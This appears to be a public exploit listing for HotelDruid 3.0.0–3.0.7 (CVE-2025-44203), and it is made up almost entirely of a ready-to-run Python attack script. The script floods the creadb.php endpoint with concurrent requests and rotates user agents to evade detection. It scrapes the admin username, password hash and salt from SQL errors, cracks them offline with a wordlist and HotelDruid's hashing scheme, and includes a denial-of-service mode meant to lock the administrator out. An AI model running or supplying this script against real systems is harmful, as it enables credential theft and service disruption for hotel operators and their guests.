Share
## https://sploitus.com/exploit?id=PACKETSTORM:223502
==================================================================================================================================
    | # Title     : HotelDruid 3.0.x Credential Exposure & Stress Testing                                                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.hoteldruid.com/                                                                                      |
    ==================================================================================================================================
    
    [+] Summary    :   a vulnerability in HotelDruid (versions 3.0.0โ€“3.0.7). 
                       It performs high-volume HTTP requests to a vulnerable endpoint (creadb.php) in order to trigger a potential race condition or SQL error-based information disclosure. 
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import sys
    import requests
    import threading
    import time
    import re
    import hashlib
    import argparse
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from urllib.parse import urljoin
    
    USER_AGENTS = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
    ]
    REQUEST_DELAY = 0.02 
    THREADS = 50         
    DEFAULT_WORDLIST = "rockyou.txt"
    
    class HotelDruidExploit:
        def __init__(self, target_ip, port=80, path="/hoteldruid/"):
            self.base_url = f"http://{target_ip}:{port}{path}"
            self.creadb_url = urljoin(self.base_url, "creadb.php")
            self.extracted_data = {
                "username": None,
                "hash": None,
                "salt": None,
                "full_response": None
            }
            self.found_event = threading.Event()
            self.lock = threading.Lock()
            
        def _get_headers(self):
            """Generate randomized headers to avoid detection"""
            import random
            return {
                "User-Agent": random.choice(USER_AGENTS),
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate, br",
                "Content-Type": "application/x-www-form-urlencoded",
                "Origin": self.base_url.rstrip('/'),
                "Connection": "keep-alive",
                "Referer": urljoin(self.base_url, "inizio.php"),
                "Upgrade-Insecure-Requests": "1"
            }
        def _extract_sensitive_data(self, response_text):
            """Extract username, password hash, and salt from SQL error messages"""
            patterns = {
                "username": r"username[_\s]*=[_\s]*['\"]?([a-zA-Z0-9_]+)['\"]?",
                "hash": r"password[_\s]*=[_\s]*['\"]?([a-fA-F0-9]{32})['\"]?",
                "salt": r"salt[_\s]*=[_\s]*['\"]?([a-fA-F0-9]{20,40})['\"]?",
                "email": r"email[_\s]*=[_\s]*['\"]?([^'\"]+@[^'\"]+)['\"]?"
            }
            extracted = {}
            for key, pattern in patterns.items():
                match = re.search(pattern, response_text, re.IGNORECASE)
                if match:
                    extracted[key] = match.group(1)
    
            mysql_pattern = r"VALUES\s*\(\s*'([^']+)'[^,]+,\s*'([a-f0-9]{32})'[^,]+,\s*'([a-f0-9]{20,})'"
            match = re.search(mysql_pattern, response_text, re.IGNORECASE)
            if match and not extracted.get("username"):
                extracted["username"] = match.group(1)
                extracted["hash"] = match.group(2)
                extracted["salt"] = match.group(3)
            return extracted
        def send_request(self, request_id):
            """Send a single POST request to creadb.php"""
            if self.found_event.is_set():
                return None
            try:
                headers = self._get_headers()
                data = {"lingua": "en"}
                response = requests.post(
                    self.creadb_url, 
                    headers=headers, 
                    data=data,
                    timeout=10,
                    allow_redirects=False
                )
                if response.status_code == 200:
                    extracted = self._extract_sensitive_data(response.text)
                    
                    if extracted and (extracted.get("hash") or extracted.get("salt")):
                        with self.lock:
                            self.extracted_data.update(extracted)
                            self.extracted_data["full_response"] = response.text
                        print(f"\n[!] SUCCESS! Sensitive data extracted from request #{request_id}")
                        print(f"[+] Username: {extracted.get('username', 'N/A')}")
                        print(f"[+] Hash (MD5): {extracted.get('hash', 'N/A')}")
                        print(f"[+] Salt: {extracted.get('salt', 'N/A')}")
                        print(f"[+] Email: {extracted.get('email', 'N/A')}")
                        self.found_event.set()
                        return extracted
                if request_id % 50 == 0:
                    print(f"[*] Sent {request_id} requests...", end="\r")
            except requests.exceptions.ConnectionError:
                if request_id > 10:
                    print(f"\n[!] Connection failed - Possible DoS condition achieved!")
                    self.found_event.set()
            except Exception as e:
                pass
            return None
        def exploit(self, total_requests=500):
            """Main exploitation routine with multi-threading"""
            print(f"[*] Targeting: {self.creadb_url}")
            print(f"[*] Sending {total_requests} concurrent requests to trigger race condition...")
            print("[*] This may take a few minutes...\n")
            start_time = time.time()
            with ThreadPoolExecutor(max_workers=THREADS) as executor:
                futures = {
                    executor.submit(self.send_request, i): i 
                    for i in range(1, total_requests + 1)
                }
                for future in as_completed(futures):
                    if self.found_event.is_set():
                        for f in futures:
                            f.cancel()
                        break
                    time.sleep(REQUEST_DELAY)
            elapsed = time.time() - start_time
            if not self.found_event.is_set():
                print("\n[-] Exploit failed to extract data.")
                print("[!] Try increasing total_requests or reducing system resources on target.")
                return False
            print(f"\n[*] Exploitation completed in {elapsed:.2f} seconds")
            return True
        def calculate_custom_hash(self, password, salt):
            """Recreate the custom HotelDruid hashing algorithm"""
            hashed = hashlib.md5((password + salt).encode()).hexdigest()
            for num in range(1, 15):
                truncated_salt = salt[:(20 - num)]
                hashed = hashlib.md5((hashed + truncated_salt).encode()).hexdigest()
            return hashed
        def crack_password(self, wordlist_path, max_attempts=10000000):
            """Brute force the password using the extracted salt and hash"""
            if not self.extracted_data["hash"] or not self.extracted_data["salt"]:
                print("[-] Missing hash or salt. Cannot crack password.")
                return None
            print(f"\n[*] Starting password cracking...")
            print(f"[*] Target Hash: {self.extracted_data['hash']}")
            print(f"[*] Salt: {self.extracted_data['salt']}")
            print(f"[*] Wordlist: {wordlist_path}")
            try:
                with open(wordlist_path, 'r', encoding='latin-1', errors='ignore') as f:
                    for idx, line in enumerate(f):
                        password = line.strip()
                        
                        if idx % 10000 == 0 and idx > 0:
                            print(f"[*] Attempted {idx} passwords...", end="\r")
                        calculated_hash = self.calculate_custom_hash(password, self.extracted_data["salt"])
                        if calculated_hash == self.extracted_data["hash"]:
                            print(f"\n[+] PASSWORD FOUND: {password}")
                            return password
                        if idx >= max_attempts:
                            break
            except FileNotFoundError:
                print(f"[-] Wordlist not found: {wordlist_path}")
                return None
            print("\n[-] Password not found in wordlist.")
            return None
        def trigger_dos(self, intense=True):
            """Trigger DoS condition by overwhelming the database setup process"""
            print(f"\n[*] Triggering DoS condition...")
            if intense:
                total = 1000
                print(f"[*] Sending {total} rapid requests to corrupt database state...")
                
                def flood():
                    for i in range(total):
                        try:
                            requests.post(self.creadb_url, data={"lingua": "en"}, timeout=2)
                        except:
                            pass
                with ThreadPoolExecutor(max_workers=20) as executor:
                    futures = [executor.submit(flood) for _ in range(5)]
                    for f in as_completed(futures):
                        pass
            else:
                for i in range(300):
                    try:
                        requests.post(self.creadb_url, data={"lingua": "en"}, timeout=1)
                    except:
                        pass
                    time.sleep(0.02)
            print("[+] DoS attack completed. Administrator may not be able to login with original credentials.")
            return True
    def main():
        parser = argparse.ArgumentParser(description="HotelDruid 3.0.0/3.0.7 Exploit - CVE-2025-44203")
        parser.add_argument("target", help="Target IP address")
        parser.add_argument("-p", "--port", type=int, default=80, help="HTTP port (default: 80)")
        parser.add_argument("-r", "--requests", type=int, default=500, help="Number of requests (default: 500)")
        parser.add_argument("-w", "--wordlist", default=DEFAULT_WORDLIST, help="Wordlist for password cracking")
        parser.add_argument("--dos-only", action="store_true", help="Only perform DoS attack")
        parser.add_argument("--crack-only", action="store_true", help="Only crack password using existing extracted data")
        parser.add_argument("--hash", help="Hash value (for crack-only mode)")
        parser.add_argument("--salt", help="Salt value (for crack-only mode)")
        args = parser.parse_args()
        banner = """
        โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
        โ•‘  CVE-2025-44203 - HotelDruid 3.0.0/3.0.7                    โ•‘
        โ•‘  Advanced Exploit: Credential Disclosure + DoS              โ•‘
        โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
        """
        print(banner)
        if args.crack_only:
            if not args.hash or not args.salt:
                print("[-] Crack-only mode requires --hash and --salt")
                sys.exit(1)
            exploit = HotelDruidExploit(args.target)
            exploit.extracted_data["hash"] = args.hash
            exploit.extracted_data["salt"] = args.salt
            password = exploit.crack_password(args.wordlist)
            if password:
                print(f"\n[+] Plaintext password: {password}")
            sys.exit(0)
        if args.dos_only:
            exploit = HotelDruidExploit(args.target, args.port)
            exploit.trigger_dos(intense=True)
            sys.exit(0)
        exploit = HotelDruidExploit(args.target, args.port)
        if not exploit.exploit(total_requests=args.requests):
            print("\n[!] Exploit failed. Possible reasons:")
            print("    - Target is patched (version >= 3.0.8)")
            print("    - Target has sufficient resources (4+ cores / 4+ GB RAM)")
            print("    - 'Restrict to localhost' is set to Yes")
            print("    - Try increasing --requests parameter")
            sys.exit(1)
        if exploit.extracted_data["hash"] and exploit.extracted_data["salt"]:
            password = exploit.crack_password(args.wordlist)
            if password:
                print(f"\n[+] SUCCESSFUL EXPLOITATION COMPLETE!")
                print(f"[+] Username: {exploit.extracted_data['username']}")
                print(f"[+] Password: {password}")
                print(f"\n[*] Note: DoS condition has been triggered.")
                print("[*] The administrator cannot login with the original credentials.")
                print("[*] You cannot login either - this is a pure DoS + info disclosure.")
        else:
            print("\n[-] Could not extract complete hash/salt for password cracking.")
        choice = input("\n[?] Trigger additional DoS attack? (y/n): ").lower()
        if choice == 'y':
            exploit.trigger_dos(intense=True)
    if __name__ == "__main__":
        main()
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================